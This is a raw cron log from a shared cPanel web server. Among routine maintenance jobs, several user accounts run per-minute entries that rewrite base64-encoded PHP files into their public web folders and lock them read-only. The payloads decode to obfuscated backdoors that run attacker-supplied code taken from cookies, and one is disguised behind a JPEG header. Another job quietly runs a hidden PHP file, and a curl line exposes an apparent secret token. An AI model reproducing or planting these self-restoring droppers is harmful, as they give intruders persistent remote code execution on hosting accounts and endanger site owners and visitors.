Mar  2 06:55:01 medusa CROND[20238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:55:01 medusa CROND[20240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:55:01 medusa CROND[20242]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:55:01 medusa CROND[20239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:55:01 medusa CROND[20237]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:55:01 medusa CROND[20246]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:55:01 medusa CROND[20249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:55:01 medusa CROND[20260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:55:01 medusa CROND[20266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:55:01 medusa CROND[20267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:55:01 medusa CROND[20273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:55:01 medusa CROND[20276]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:55:01 medusa CROND[20277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:55:01 medusa CROND[20278]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:55:01 medusa CROND[20272]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:55:01 medusa CROND[20280]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:55:01 medusa CROND[20284]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:56:01 medusa CROND[3048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:56:01 medusa CROND[3130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:56:01 medusa CROND[3199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:56:01 medusa CROND[3235]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:56:01 medusa CROND[3236]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:56:01 medusa CROND[3243]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:56:01 medusa CROND[3244]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:56:01 medusa CROND[3245]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:56:01 medusa CROND[3253]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:56:01 medusa CROND[3255]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:56:01 medusa CROND[3259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:56:01 medusa CROND[3258]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:56:01 medusa CROND[3267]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:56:01 medusa CROND[3268]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:57:01 medusa CROND[17063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:57:01 medusa CROND[17236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:57:01 medusa CROND[17239]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:57:01 medusa CROND[17244]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:57:01 medusa CROND[17245]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
